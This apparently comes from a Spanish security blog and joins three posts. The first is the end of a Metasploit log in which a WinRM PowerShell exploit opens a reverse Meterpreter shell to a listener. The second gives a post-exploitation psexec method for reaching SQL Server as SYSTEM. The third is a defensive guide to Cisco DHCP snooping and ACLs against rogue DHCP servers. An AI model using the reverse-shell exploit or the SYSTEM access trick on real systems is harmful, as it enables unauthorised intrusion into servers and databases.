    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
       LHOST     10.6.255.84      yes       The listen address
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf  exploit(winrm_powershell) > rexploit
    [*] Reloading module...
    
    [*] Started reverse handler on 10.6.255.84:4444
    [*] Attempting to set Execution Policy
    [*] Grabbing %TEMP%
    [*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
    [*] Attempting to execute script...
    [*] Sending stage (752128 bytes) to 10.6.255.158
    [*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500
    
    meterpreter >
    [*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
    [*] Current server process: powershell.exe (2844)
    [+] Migrating to 696
    [+] Successfully migrated to process
    
    meterpreter > sysinfo
    Computer        : WIN-VFQHRRTCA39
    OS              : Windows 8 (Build 9200).
    Architecture    : x86
    System Language : en_US
    Meterpreter     : x86/win32
    meterpreter >
 Fuentes:
Government hackers develop Windows 8 exploit – already
Security firm VUPEN claims to have hacked Windows 8 and IE10
VUPEN Researchers Say They Have Zero-Day Windows 8 Exploit
Weekly Metasploit Update: WinRM Part One, Exploiting Metasploit, and More!

Cómo eludir la autenticación de Microsoft SQL Server en un servidor ya comprometido (post-explotación)

Durante una post-explotación, pudiera darse el caso en el que te encuentres con un entorno donde lo administradores de una máquina, incluso administradores de dominio, no tienen derechos de autenticación en una base de datos Microsoft SQL Server.

Ante esto, podrías dedicarle tiempo a intentar determinar que grupos o cuentas tenían acceso y añadir un nuevo usuario o suplantar uno existente. O incluso buscar las credenciales en claro en algún script en algún recurso compartido.

Pero si realmente quieres ahorrar tiempo existe un método para SQL Server 2008 R2 y anteriores que te permitirá acceso total a la base de datos instantáneamente, mediante la cuenta NT-AUTHORITY\SYSTEM:

1. Descarga el binario psexec.exe en el servidor.
2. Inicia una consola con privilegios (botón derecho en el acceso directo y ejecutar como administrador).
3. Ejecuta psexec con la siguiente opción:

psexec -s -I “C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe”

 
(La -s significa arrancar como SYSTEM y -l iniciará la aplicación de forma interactiva)


Bloqueo de servidores DHCP falsos

Seguro que ya os ha pasado en alguna ocasión. De repente, la gente empieza a decir que ha perdido la conexión en la red local, miras tu icono en la barra de tareas y parece que está todo levantado. Luego ejecutas ipconfig/ifconfig y observas que tienes una IP que no es la que sueles tener. "Ya está, algún listillo ha conectado a la red un Linksys u otro cacharro con un servidor DHCP..."
 Aunque parezca mentira, esta situación hoy en día es bastante frecuente en cualquier empresa y es que los administradores muchas veces insisten en no poner las medidas necesarias para evitar este tipo de situaciones. Lo malo es que no siempre se trata de un incauto consultor que conecta sin querer algo que no sabe exactamente lo que hace e impiden que los demás puedan funcionar correctamente. Algunas veces un atacante puede instalar un falso DHCP (rogue DHCP) para, por ejemplo, falsificar el gateway y/o los servidores DNS de los confiados clientes de la red, de tal forma que podría esnifar su tráfico (MiTM) o redirigirlos a sitios falsos con no muy buenas intenciones...

La solución siempre pasa por configurar la electrónica de red para evitarlo. En este caso hablaremos de Cisco por ser lo más ampliamente utilizado, pero otros fabricantes como HP, Juniper u otros tienen medidas similares (si es tu caso, te invitamos a compartir con nosotros tu experiencia ;)).

Una forma sería utilizar ACLs para bloquear UDP 68, que es el puerto destino que utiliza un servidor DHCP para hablar con el cliente (RFC 1531). Así que simplemente si quieres que un servidor DHCP no envíe paquetes offer o acks puedes crear una lista de acceso y aplicarla en los interfaces correspondientes:

ip access-list 100 deny udp any any eq 68
ip access-list 100 permit ip any any
int [interface facing the would-be rogue]
ip access-group 100 in


Esto no sería necesario si tenemos configurado el ip helper-address y el switch está actuando como un reenviador de broadcasts hacia el servidor DHCP adecuado. También podríamos bloquear el acceso al puerto 68 si queremos detener un DHCP falso detrás de una pasarela o firewall.

La otra forma de luchar contra un DHCP rogue y la más adecuada es utilizar DHCP Snooping. Básicamente, se basa en definir en el switch los puertos sobre los que el tráfico del DHCP server confiable puede transitar. Es decir, definimos como “trust” los puertos donde tenemos servidores dhcp, relays dhcp y los trunks entre los switches.

Configuramos a nivel global en el switch y lo activamos:

ip dhcp snooping vlan 100,101
no ip dhcp snooping information option
ip dhcp snooping


Autorizamos los puertos del servidor dhcp y los trunks:

interface FastEthernet0/3
 description SERVER DHCP
 switchport mode access
 switchport access vlan 100
 switchport nonegotiate
 spanning-tree portfast
 ip dhcp snooping trust

interface GigabitEthernet0/1
 description FIREWALL
 switchport mode trunk
 spanning-tree portfast
 ip dhcp snooping trust

interface GigabitEthernet0/2
 description UPLINK A SWITCH
 switchport mode trunk
 ip dhcp snooping trust


El comando “no ip dhcp snooping information option” lo añadiremos si no queremos la opción 82, es decir, no queremos que el switch añada información adicional para que el servidor DHCP destino pueda identificar el origen del cliente en entornos distribuidos (campo “giaddr”) y asignarle una IP dentro del pool o rango correspondiente.

Por último, si queremos verificar la configuración del DHCP snooping:

switch#show ip dhcp snooping
Switch DHCP snooping is enabled
DHCP snooping is configured on following VLANs:
100,101
DHCP snooping is configured on the following Interfaces:

Insertion of option 82 is disabled
circuit-id format: vlan-mod-port
remote-id format: MAC
Option 82 on untrusted port is not allowed
Interface Trusted Rate limit (pps)
———————— ——- —————-
FastEthernet0/3 yes unlimited
GigabitEthernet0/1 yes unlimited
GigabitEthernet0/2 yes unlimited

switch#show ip dhcp snooping binding
MacAddress IpAddress Lease(sec) Type VLAN Interface
—————— ————— ———- ————- —- ——————–
00:0C:AA:CC:AA:BB 10.66.0.113 64701 dhcp-snooping 100 FastEthernet0/16
00:0C:BB:CC:AA:AA 10.1.0.110 65827 dhcp-snooping 101 FastEthernet0/4
84:2B:AA:AA:AA:AA 10.1.0.104 50058 dhcp-snooping 101 FastEthernet0/6


Si deseamos desactivarlo temporalmente no hay que reconfigurarlo todo:

no ip dhcp snooping
Fuentes:
Understanding and Configuring DHCP Snooping
dhcp snooping – prevención de ataques DHCP
Blocking rogue DHCP servers
How to Block Rogue DHCP Server's on Cisco Equipment Using ACL's?